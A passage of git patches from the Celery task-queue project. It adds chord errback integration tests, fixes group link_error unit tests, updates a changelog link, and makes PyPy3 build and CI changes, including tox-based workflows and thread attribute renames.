chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test(msg="Error propagates from simple header task"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after simple header task fails" + ): + await_redis_count(1, redis_key=expected_redis_key) + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test(msg="Error propagates from simple body task"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after simple body task fails" + ): + await_redis_count(1, redis_key=expected_redis_key) + redis_connection.delete(expected_redis_key) + def test_error_propagates_to_chord_from_chain(self, manager, subtests): try: manager.app.backend.ensure_chords_allowed() @@ -1867,7 +1915,9 @@ def test_error_propagates_to_chord_from_chain(self, manager, subtests): with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) - def test_errback_called_by_chord_from_chain(self, manager, subtests): + def test_immutable_errback_called_by_chord_from_chain( + self, manager, subtests + ): if not manager.app.conf.result_backend.startswith("redis"): raise pytest.skip("Requires redis result backend.") redis_connection = get_redis_connection() @@ -1906,6 +1956,52 @@ def test_errback_called_by_chord_from_chain(self, manager, subtests): await_redis_echo({errback_msg, }, redis_key=redis_key) redis_connection.delete(redis_key) + @pytest.mark.parametrize( + "errback_task", [errback_old_style, errback_new_style, ], + ) + def test_mutable_errback_called_by_chord_from_chain( + self, errback_task, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback = errback_task.s() + fail_sig = fail.s() + fail_sig_id = fail_sig.freeze().id + child_sig = chain(identity.si(42), fail_sig, identity.si(42)) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test( + msg="Error propagates from header chain which fails before the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after header chain which fails before the end" + ): + await_redis_count(1, redis_key=expected_redis_key) + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + expected_redis_key = fail_sig_id + redis_connection.delete(expected_redis_key) + with subtests.test( + msg="Error propagates from body chain which fails before the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after body chain which fails before the end" + ): + await_redis_count(1, redis_key=expected_redis_key) + redis_connection.delete(expected_redis_key) + def test_error_propagates_to_chord_from_chain_tail(self, manager, subtests): try: manager.app.backend.ensure_chords_allowed() @@ -1930,7 +2026,9 @@ def test_error_propagates_to_chord_from_chain_tail(self, manager, subtests): with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) - def test_errback_called_by_chord_from_chain_tail(self, manager, subtests): + def test_immutable_errback_called_by_chord_from_chain_tail( + self, manager, subtests + ): if not manager.app.conf.result_backend.startswith("redis"): raise pytest.skip("Requires redis result backend.") redis_connection = get_redis_connection() @@ -1969,6 +2067,52 @@ def test_errback_called_by_chord_from_chain_tail(self, manager, subtests): await_redis_echo({errback_msg, }, redis_key=redis_key) redis_connection.delete(redis_key) + @pytest.mark.parametrize( + "errback_task", [errback_old_style, errback_new_style, ], + ) + def test_mutable_errback_called_by_chord_from_chain_tail( + self, errback_task, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback = errback_task.s() + fail_sig = fail.s() + fail_sig_id = fail_sig.freeze().id + child_sig = chain(identity.si(42), fail_sig) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test( + msg="Error propagates from header chain which fails at the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after header chain which fails at the end" + ): + await_redis_count(1, redis_key=expected_redis_key) + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + expected_redis_key = fail_sig_id + redis_connection.delete(expected_redis_key) + with subtests.test( + msg="Error propagates from header chain which fails at the end" + ): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test( + msg="Errback is called after header chain which fails at the end" + ): + await_redis_count(1, redis_key=expected_redis_key) + redis_connection.delete(expected_redis_key) + def test_error_propagates_to_chord_from_group(self, manager, subtests): try: manager.app.backend.ensure_chords_allowed() @@ -1989,7 +2133,9 @@ def test_error_propagates_to_chord_from_group(self, manager, subtests): with pytest.raises(ExpectedException): res.get(timeout=TIMEOUT) - def test_errback_called_by_chord_from_group(self, manager, subtests): + def test_immutable_errback_called_by_chord_from_group( + self, manager, subtests + ): if not manager.app.conf.result_backend.startswith("redis"): raise pytest.skip("Requires redis result backend.") redis_connection = get_redis_connection() @@ -2020,7 +2166,45 @@ def test_errback_called_by_chord_from_group(self, manager, subtests): await_redis_echo({errback_msg, }, redis_key=redis_key) redis_connection.delete(redis_key) - def test_errback_called_by_chord_from_group_fail_multiple( + @pytest.mark.parametrize( + "errback_task", [errback_old_style, errback_new_style, ], + ) + def test_mutable_errback_called_by_chord_from_group( + self, errback_task, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + errback = errback_task.s() + fail_sig = fail.s() + fail_sig_id = fail_sig.freeze().id + child_sig = group(identity.si(42), fail_sig) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test(msg="Error propagates from header group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after header group fails"): + await_redis_count(1, redis_key=expected_redis_key) + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + expected_redis_key = fail_sig_id + redis_connection.delete(expected_redis_key) + with subtests.test(msg="Error propagates from body group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after body group fails"): + await_redis_count(1, redis_key=expected_redis_key) + redis_connection.delete(expected_redis_key) + + def test_immutable_errback_called_by_chord_from_group_fail_multiple( self, manager, subtests ): if not manager.app.conf.result_backend.startswith("redis"): @@ -2062,6 +2246,66 @@ def test_errback_called_by_chord_from_group_fail_multiple( await_redis_count(fail_task_count, redis_key=redis_key) redis_connection.delete(redis_key) + @pytest.mark.parametrize( + "errback_task", [errback_old_style, errback_new_style, ], + ) + def test_mutable_errback_called_by_chord_from_group_fail_multiple( + self, errback_task, manager, subtests + ): + if not manager.app.conf.result_backend.startswith("redis"): + raise pytest.skip("Requires redis result backend.") + redis_connection = get_redis_connection() + + fail_task_count = 42 + # We have to use failing task signatures with unique task IDs to ensure + # the chord can complete when they are used as part of its header! + fail_sigs = tuple( + fail.s() for _ in range(fail_task_count) + ) + fail_sig_ids = tuple(s.freeze().id for s in fail_sigs) + errback = errback_task.s() + # Include a mix of passing and failing tasks + child_sig = group( + *(identity.si(42) for _ in range(24)), # arbitrary task count + *fail_sigs, + ) + + chord_sig = chord((child_sig, ), identity.s()) + chord_sig.link_error(errback) + expected_redis_key = chord_sig.body.freeze().id + redis_connection.delete(expected_redis_key) + with subtests.test(msg="Error propagates from header group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after header group fails"): + # NOTE: Here we only expect the errback to be called once since it + # is attached to the chord body which is a single task! + await_redis_count(1, redis_key=expected_redis_key) + + chord_sig = chord((identity.si(42), ), child_sig) + chord_sig.link_error(errback) + for fail_sig_id in fail_sig_ids: + redis_connection.delete(fail_sig_id) + with subtests.test(msg="Error propagates from body group"): + res = chord_sig.delay() + with pytest.raises(ExpectedException): + res.get(timeout=TIMEOUT) + with subtests.test(msg="Errback is called after body group fails"): + # NOTE: Here we expect the errback to be called once per failing + # task in the chord body since it is a group, and each task has a + # unique task ID + for i, fail_sig_id in enumerate(fail_sig_ids): + await_redis_count( + 1, redis_key=fail_sig_id, + # After the first one is seen, check the rest with no + # timeout since waiting to confirm that each one doesn't + # get over-incremented will take a long time + timeout=TIMEOUT if i == 0 else 0, + ) + for fail_sig_id in fail_sig_ids: + redis_connection.delete(fail_sig_id) + def test_chord_header_task_replaced_with_chain(self, manager): try: manager.app.backend.ensure_chords_allowed() diff --git a/t/unit/backends/test_base.py b/t/unit/backends/test_base.py index 6cdb32d985a..0943c313456 100644 --- a/t/unit/backends/test_base.py +++ b/t/unit/backends/test_base.py @@ -534,17 +534,23 @@ def test_mark_as_revoked__chord(self): b.on_chord_part_return.assert_called_with(request, states.REVOKED, ANY) def test_chord_error_from_stack_raises(self): + class ExpectedException(Exception): + pass + b = BaseBackend(app=self.app) - exc = KeyError() callback = Mock(name='callback') callback.options = {'link_error': []} + callback.keys.return_value = [] task = self.app.tasks[callback.task] = Mock() b.fail_from_current_stack = Mock() group = self.patching('celery.group') - group.side_effect = exc - b.chord_error_from_stack(callback, exc=ValueError()) + with patch.object( + b, "_call_task_errbacks", side_effect=ExpectedException() + ) as mock_call_errbacks: + b.chord_error_from_stack(callback, exc=ValueError()) task.backend.fail_from_current_stack.assert_called_with( - callback.id, exc=exc) + callback.id, exc=mock_call_errbacks.side_effect, + ) def test_exception_to_python_when_None(self): b = BaseBackend(app=self.app) diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 487e3b1d6fe..575861cc29e 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -654,15 +654,19 @@ def test_link(self): g1 = group(Mock(name='t1'), Mock(name='t2'), app=self.app) sig = Mock(name='sig') g1.link(sig) + # Only the first child signature of a group will be given the callback + # and it is cloned and made immutable to avoid passing results to it, + # since that first task can't pass along its siblings' return values g1.tasks[0].link.assert_called_with(sig.clone().set(immutable=True)) def test_link_error(self): g1 = group(Mock(name='t1'), Mock(name='t2'), app=self.app) sig = Mock(name='sig') g1.link_error(sig) - g1.tasks[0].link_error.assert_called_with( - sig.clone().set(immutable=True), - ) + # We expect that all group children will be given the errback to ensure + # it gets called + for child_sig in g1.tasks: + child_sig.link_error.assert_called_with(sig) def test_apply_empty(self): x = group(app=self.app) From 47c5cea8f5a876160495e2aa9f0f279ef590f7b6 Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Thu, 24 Jun 2021 21:16:54 -0300 Subject: [PATCH 257/415] Update Changelog link in documentation Changelog file was renamed from "Changelog" to "Changelog.rst" in fd023ec174bedc2dc65c63a0dc7c85e425ac00c6. --- CONTRIBUTING.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.rst b/CONTRIBUTING.rst index 32000696b49..a774377243a 100644 --- a/CONTRIBUTING.rst +++ b/CONTRIBUTING.rst @@ -297,7 +297,7 @@ Current active version branches: You can see the state of any branch by looking at the Changelog: - https://github.com/celery/celery/blob/master/Changelog + https://github.com/celery/celery/blob/master/Changelog.rst If the branch is in active development the topmost version info should contain meta-data like: From 117cd9ca410e8879f71bd84be27b8e69e462c56a Mon Sep 17 00:00:00 2001 From: Matt Hoffman Date: Sun, 27 Jun 2021 03:51:05 -0400 Subject: [PATCH 258/415] Fixes build for PyPy3 (#6635) * installs packages the same way docker does * removes couchbase dependency for PyPy * removes ephem dependency for PyPy * fixes mongo unit tests for PyPy3 Mocking `datetime.datetime` was causing an issue with `datetime.utcnow()`. This mock doesn't appear to be needed. See https://github.com/celery/celery/pull/6635/checks?check_run_id=1944166896. * fix: Avoid shadowing `Thread` attributes Fixes #6489 * ci: Install default deps for pypy3 toxenvs * ci: Run unit tests with `tox` * ci: Lint source in separate action using `tox` * ci: Redent codecov action * test: Rework some mocking in `test_platforms.py` Also fix some flakes which may have been added by some other autoformatter in #6804. The 4 space non-visual-indentation should keep most formatters fairly happy. * style: Fix some flakes Co-authored-by: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> --- .github/workflows/python-package.yml | 45 +++--- celery/backends/redis.py | 5 +- celery/bin/base.py | 1 + celery/canvas.py | 6 +- celery/concurrency/__init__.py | 1 + celery/exceptions.py | 1 + celery/utils/threads.py | 12 +- celery/utils/timer2.py | 16 +- celery/worker/consumer/consumer.py | 2 +- requirements/extras/couchbase.txt | 2 +- requirements/extras/solar.txt | 2 +- t/unit/backends/test_mongodb.py | 1 - t/unit/utils/test_platforms.py | 218 ++++++++++++++------------- t/unit/utils/test_timer2.py | 22 ++- t/unit/worker/test_autoscale.py | 16 +- tox.ini | 2 +- 16 files changed, 188 insertions(+), 164 deletions(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index 92c652b0913..673e1f04ac8 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -48,26 +48,31 @@ jobs: ${{ matrix.python-version }}-v1-${{ hashFiles('**/setup.py') }} restore-keys: | ${{ matrix.python-version }}-v1- - - name: Install dependencies - run: | - python -m pip install --upgrade pip - python -m pip install flake8 pytest case pytest-celery pytest-subtests pytest-timeout pytest-cov - python -m pip install moto boto3 msgpack PyYAML - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - - name: Run Unit test with pytest - run: | - PYTHONPATH=. pytest -xv --cov=celery --cov-report=xml --cov-report term t/unit + - name: Install tox + run: python -m pip install tox + - name: > + Run tox for + "${{ matrix.python-version }}-unit" + timeout-minutes: 15 + run: > + tox --verbose --verbose -e + "${{ matrix.python-version }}-unit" + + - uses: codecov/codecov-action@v1 + with: + flags: unittests # optional + fail_ci_if_error: true # optional (default = false) + verbose: true # optional (default = false) + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-python@v2 + # Must match the Python version in tox.ini for flake8 + with: { python-version: 3.9 } + - name: Install tox + run: python -m pip install tox - name: Lint with flake8 - run: | - # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - - uses: codecov/codecov-action@v1 - with: - token: ${{ secrets.CODECOV_TOKEN }} # not required for public repos - flags: unittests # optional - fail_ci_if_error: true # optional (default = false) - verbose: true # optional (default = false) + run: tox --verbose -e flake8 diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 8904ee0bca5..23d7ac3ccc2 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -585,6 +585,7 @@ class SentinelManagedSSLConnection( class SentinelBackend(RedisBackend): """Redis sentinel task result store.""" + # URL looks like `sentinel://0.0.0.0:26347/3;sentinel://0.0.0.0:26348/3` _SERVER_URI_SEPARATOR = ";" @@ -598,9 +599,7 @@ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def as_uri(self, include_password=False): - """ - Return the server addresses as URIs, sanitizing the password or not. - """ + """Return the server addresses as URIs, sanitizing the password or not.""" # Allow superclass to do work if we don't need to force sanitization if include_password: return super().as_uri( diff --git a/celery/bin/base.py b/celery/bin/base.py index 78d6371b420..0eba53e1ce0 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -116,6 +116,7 @@ def say_chat(self, direction, title, body='', show_body=False): def handle_preload_options(f): + """Extract preload options and return a wrapped callable.""" def caller(ctx, *args, **kwargs): app = ctx.obj.app diff --git a/celery/canvas.py b/celery/canvas.py index dd8c8acc8ed..34bcd6a0085 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1253,8 +1253,10 @@ def _freeze_group_tasks(self, _id=None, group_id=None, chord=None, def freeze(self, _id=None, group_id=None, chord=None, root_id=None, parent_id=None, group_index=None): - return self.app.GroupResult(*self._freeze_group_tasks(_id=_id, group_id=group_id, - chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index)) + return self.app.GroupResult(*self._freeze_group_tasks( + _id=_id, group_id=group_id, + chord=chord, root_id=root_id, parent_id=parent_id, group_index=group_index + )) _freeze = freeze diff --git a/celery/concurrency/__init__.py b/celery/concurrency/__init__.py index aa477fc57b7..a326c79aff2 100644 --- a/celery/concurrency/__init__.py +++ b/celery/concurrency/__init__.py @@ -29,4 +29,5 @@ def get_implementation(cls): def get_available_pool_names(): + """Return all available pool type names.""" return tuple(ALIASES.keys()) diff --git a/celery/exceptions.py b/celery/exceptions.py index cc09d3f894c..775418d113d 100644 --- a/celery/exceptions.py +++ b/celery/exceptions.py @@ -304,6 +304,7 @@ def __repr__(self): class CeleryCommandException(ClickException): + """A general command exception which stores an exit code.""" def __init__(self, message, exit_code): super().__init__(message=message) diff --git a/celery/utils/threads.py b/celery/utils/threads.py index 68c12fd1093..b080ca42e37 100644 --- a/celery/utils/threads.py +++ b/celery/utils/threads.py @@ -46,8 +46,8 @@ class bgThread(threading.Thread): def __init__(self, name=None, **kwargs): super().__init__() - self._is_shutdown = threading.Event() - self._is_stopped = threading.Event() + self.__is_shutdown = threading.Event() + self.__is_stopped = threading.Event() self.daemon = True self.name = name or self.__class__.__name__ @@ -60,7 +60,7 @@ def on_crash(self, msg, *fmt, **kwargs): def run(self): body = self.body - shutdown_set = self._is_shutdown.is_set + shutdown_set = self.__is_shutdown.is_set try: while not shutdown_set(): try: @@ -77,7 +77,7 @@ def run(self): def _set_stopped(self): try: - self._is_stopped.set() + self.__is_stopped.set() except TypeError: # pragma: no cover # we lost the race at interpreter shutdown, # so gc collected built-in modules. @@ -85,8 +85,8 @@ def _set_stopped(self): def stop(self): """Graceful shutdown.""" - self._is_shutdown.set() - self._is_stopped.wait() + self.__is_shutdown.set() + self.__is_stopped.wait() if self.is_alive(): self.join(THREAD_TIMEOUT_MAX) diff --git a/celery/utils/timer2.py b/celery/utils/timer2.py index 19239908daa..06b4bb24c9c 100644 --- a/celery/utils/timer2.py +++ b/celery/utils/timer2.py @@ -49,8 +49,12 @@ def __init__(self, schedule=None, on_error=None, on_tick=None, self.on_start = on_start self.on_tick = on_tick or self.on_tick threading.Thread.__init__(self) - self._is_shutdown = threading.Event() - self._is_stopped = threading.Event() + # `_is_stopped` is likely to be an attribute on `Thread` objects so we + # double underscore these names to avoid shadowing anything and + # potentially getting confused by the superclass turning these into + # something other than an `Event` instance (e.g. a `bool`) + self.__is_shutdown = threading.Event() + self.__is_stopped = threading.Event() self.mutex = threading.Lock() self.not_empty = threading.Condition(self.mutex) self.daemon = True @@ -71,7 +75,7 @@ def run(self): self.running = True self.scheduler = iter(self.schedule) - while not self._is_shutdown.isSet(): + while not self.__is_shutdown.isSet(): delay = self._next_entry() if delay: if self.on_tick: @@ -80,7 +84,7 @@ def run(self): break sleep(delay) try: - self._is_stopped.set() + self.__is_stopped.set() except TypeError: # pragma: no cover # we lost the race at interpreter shutdown, # so gc collected built-in modules. @@ -91,9 +95,9 @@ def run(self): os._exit(1) def stop(self): - self._is_shutdown.set() + self.__is_shutdown.set() if self.running: - self._is_stopped.wait() + self.__is_stopped.wait() self.join(THREAD_TIMEOUT_MAX) self.running = False diff --git a/celery/worker/consumer/consumer.py b/celery/worker/consumer/consumer.py index 21562528134..c72493f5d02 100644 --- a/celery/worker/consumer/consumer.py +++ b/celery/worker/consumer/consumer.py @@ -119,7 +119,7 @@ These tasks cannot be acknowledged as the connection is gone, and the tasks are automatically redelivered back to the queue. You can enable this behavior using the worker_cancel_long_running_tasks_on_connection_loss setting. In Celery 5.1 it is set to False by default. The setting will be set to True by default in Celery 6.0. -""" +""" # noqa: E501 def dump_body(m, body): diff --git a/requirements/extras/couchbase.txt b/requirements/extras/couchbase.txt index ec2b4864740..f72a0af01d4 100644 --- a/requirements/extras/couchbase.txt +++ b/requirements/extras/couchbase.txt @@ -1 +1 @@ -couchbase>=3.0.0 +couchbase>=3.0.0; platform_python_implementation!='PyPy' diff --git a/requirements/extras/solar.txt b/requirements/extras/solar.txt index 2f340276fa5..6be7adf94ff 100644 --- a/requirements/extras/solar.txt +++ b/requirements/extras/solar.txt @@ -1 +1 @@ -ephem +ephem; platform_python_implementation!="PyPy" diff --git a/t/unit/backends/test_mongodb.py b/t/unit/backends/test_mongodb.py index 8dd91eeba22..ee4d0517365 100644 --- a/t/unit/backends/test_mongodb.py +++ b/t/unit/backends/test_mongodb.py @@ -45,7 +45,6 @@ def setup(self): self.patching('celery.backends.mongodb.MongoBackend.encode') self.patching('celery.backends.mongodb.MongoBackend.decode') self.patching('celery.backends.mongodb.Binary') - self.patching('datetime.datetime') self.backend = MongoBackend(app=self.app, url=self.default_url) def test_init_no_mongodb(self, patching): diff --git a/t/unit/utils/test_platforms.py b/t/unit/utils/test_platforms.py index 208f4236637..f218857d605 100644 --- a/t/unit/utils/test_platforms.py +++ b/t/unit/utils/test_platforms.py @@ -830,16 +830,16 @@ def test_setgroups_raises_EPERM(self, hack, getgroups): {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_suspicious_platform(accept_content): - with patch('celery.platforms.os') as os_module: - del os_module.getuid - del os_module.getgid - del os_module.geteuid - del os_module.getegid - - with pytest.raises(SecurityError, - match=r'suspicious platform, contact support'): - check_privileges(accept_content) +@patch('celery.platforms.os') +def test_check_privileges_suspicious_platform(os_module, accept_content): + del os_module.getuid + del os_module.getgid + del os_module.geteuid + del os_module.getegid + + with pytest.raises(SecurityError, + match=r'suspicious platform, contact support'): + check_privileges(accept_content) @pytest.mark.parametrize('accept_content', [ @@ -858,10 +858,10 @@ def test_check_privileges(accept_content, recwarn): {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_no_fchown(accept_content, recwarn): - with patch('celery.platforms.os') as os_module: - del os_module.fchown - check_privileges(accept_content) +@patch('celery.platforms.os') +def test_check_privileges_no_fchown(os_module, accept_content, recwarn): + del os_module.fchown + check_privileges(accept_content) assert len(recwarn) == 0 @@ -871,19 +871,19 @@ def test_check_privileges_no_fchown(accept_content, recwarn): {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_without_c_force_root(accept_content): - with patch('celery.platforms.os') as os_module: - os_module.environ = {} - os_module.getuid.return_value = 0 - os_module.getgid.return_value = 0 - os_module.geteuid.return_value = 0 - os_module.getegid.return_value = 0 - - expected_message = re.escape(ROOT_DISALLOWED.format(uid=0, euid=0, - gid=0, egid=0)) - with pytest.raises(SecurityError, - match=expected_message): - check_privileges(accept_content) +@patch('celery.platforms.os') +def test_check_privileges_without_c_force_root(os_module, accept_content): + os_module.environ = {} + os_module.getuid.return_value = 0 + os_module.getgid.return_value = 0 + os_module.geteuid.return_value = 0 + os_module.getegid.return_value = 0 + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=0, euid=0, + gid=0, egid=0)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) @pytest.mark.parametrize('accept_content', [ @@ -891,16 +891,16 @@ def test_check_privileges_without_c_force_root(accept_content): {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_with_c_force_root(accept_content): - with patch('celery.platforms.os') as os_module: - os_module.environ = {'C_FORCE_ROOT': 'true'} - os_module.getuid.return_value = 0 - os_module.getgid.return_value = 0 - os_module.geteuid.return_value = 0 - os_module.getegid.return_value = 0 - - with pytest.warns(SecurityWarning): - check_privileges(accept_content) +@patch('celery.platforms.os') +def test_check_privileges_with_c_force_root(os_module, accept_content): + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 0 + os_module.getgid.return_value = 0 + os_module.geteuid.return_value = 0 + os_module.getegid.return_value = 0 + + with pytest.warns(SecurityWarning): + check_privileges(accept_content) @pytest.mark.parametrize(('accept_content', 'group_name'), [ @@ -911,23 +911,24 @@ def test_check_privileges_with_c_force_root(accept_content): ({'application/group-python-serialize'}, 'wheel'), ({'pickle', 'application/group-python-serialize'}, 'wheel'), ]) +@patch('celery.platforms.os') +@patch('celery.platforms.grp') def test_check_privileges_with_c_force_root_and_with_suspicious_group( - accept_content, group_name): - with patch('celery.platforms.os') as os_module, patch( - 'celery.platforms.grp') as grp_module: - os_module.environ = {'C_FORCE_ROOT': 'true'} - os_module.getuid.return_value = 60 - os_module.getgid.return_value = 60 - os_module.geteuid.return_value = 60 - os_module.getegid.return_value = 60 - - grp_module.getgrgid.return_value = [group_name] - grp_module.getgrgid.return_value = [group_name] - - expected_message = re.escape(ROOT_DISCOURAGED.format(uid=60, euid=60, - gid=60, egid=60)) - with pytest.warns(SecurityWarning, match=expected_message): - check_privileges(accept_content) + grp_module, os_module, accept_content, group_name +): + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.return_value = [group_name] + grp_module.getgrgid.return_value = [group_name] + + expected_message = re.escape(ROOT_DISCOURAGED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.warns(SecurityWarning, match=expected_message): + check_privileges(accept_content) @pytest.mark.parametrize(('accept_content', 'group_name'), [ @@ -938,24 +939,25 @@ def test_check_privileges_with_c_force_root_and_with_suspicious_group( ({'application/group-python-serialize'}, 'wheel'), ({'pickle', 'application/group-python-serialize'}, 'wheel'), ]) +@patch('celery.platforms.os') +@patch('celery.platforms.grp') def test_check_privileges_without_c_force_root_and_with_suspicious_group( - accept_content, group_name): - with patch('celery.platforms.os') as os_module, patch( - 'celery.platforms.grp') as grp_module: - os_module.environ = {} - os_module.getuid.return_value = 60 - os_module.getgid.return_value = 60 - os_module.geteuid.return_value = 60 - os_module.getegid.return_value = 60 - - grp_module.getgrgid.return_value = [group_name] - grp_module.getgrgid.return_value = [group_name] - - expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, - gid=60, egid=60)) - with pytest.raises(SecurityError, - match=expected_message): - check_privileges(accept_content) + grp_module, os_module, accept_content, group_name +): + os_module.environ = {} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.return_value = [group_name] + grp_module.getgrgid.return_value = [group_name] + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) @pytest.mark.parametrize('accept_content', [ @@ -963,26 +965,27 @@ def test_check_privileges_without_c_force_root_and_with_suspicious_group( {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, - recwarn): - with patch('celery.platforms.os') as os_module, patch( - 'celery.platforms.grp') as grp_module: - os_module.environ = {'C_FORCE_ROOT': 'true'} - os_module.getuid.return_value = 60 - os_module.getgid.return_value = 60 - os_module.geteuid.return_value = 60 - os_module.getegid.return_value = 60 - - grp_module.getgrgid.side_effect = KeyError +@patch('celery.platforms.os') +@patch('celery.platforms.grp') +def test_check_privileges_with_c_force_root_and_no_group_entry( + grp_module, os_module, accept_content, recwarn +): + os_module.environ = {'C_FORCE_ROOT': 'true'} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.side_effect = KeyError + + expected_message = ROOT_DISCOURAGED.format(uid=60, euid=60, + gid=60, egid=60) - expected_message = ROOT_DISCOURAGED.format(uid=60, euid=60, - gid=60, egid=60) - - check_privileges(accept_content) - assert len(recwarn) == 2 + check_privileges(accept_content) + assert len(recwarn) == 2 - assert recwarn[0].message.args[0] == ASSUMING_ROOT - assert recwarn[1].message.args[0] == expected_message + assert recwarn[0].message.args[0] == ASSUMING_ROOT + assert recwarn[1].message.args[0] == expected_message @pytest.mark.parametrize('accept_content', [ @@ -990,25 +993,26 @@ def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, {'application/group-python-serialize'}, {'pickle', 'application/group-python-serialize'} ]) -def test_check_privileges_with_c_force_root_and_no_group_entry(accept_content, - recwarn): - with patch('celery.platforms.os') as os_module, patch( - 'celery.platforms.grp') as grp_module: - os_module.environ = {} - os_module.getuid.return_value = 60 - os_module.getgid.return_value = 60 - os_module.geteuid.return_value = 60 - os_module.getegid.return_value = 60 - - grp_module.getgrgid.side_effect = KeyError - - expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, - gid=60, egid=60)) - with pytest.raises(SecurityError, - match=expected_message): - check_privileges(accept_content) - - assert recwarn[0].message.args[0] == ASSUMING_ROOT +@patch('celery.platforms.os') +@patch('celery.platforms.grp') +def test_check_privileges_without_c_force_root_and_no_group_entry( + grp_module, os_module, accept_content, recwarn +): + os_module.environ = {} + os_module.getuid.return_value = 60 + os_module.getgid.return_value = 60 + os_module.geteuid.return_value = 60 + os_module.getegid.return_value = 60 + + grp_module.getgrgid.side_effect = KeyError + + expected_message = re.escape(ROOT_DISALLOWED.format(uid=60, euid=60, + gid=60, egid=60)) + with pytest.raises(SecurityError, + match=expected_message): + check_privileges(accept_content) + + assert recwarn[0].message.args[0] == ASSUMING_ROOT def test_skip_checking_privileges_when_grp_is_unavailable(recwarn): diff --git a/t/unit/utils/test_timer2.py b/t/unit/utils/test_timer2.py index fe022d8a345..9675452a571 100644 --- a/t/unit/utils/test_timer2.py +++ 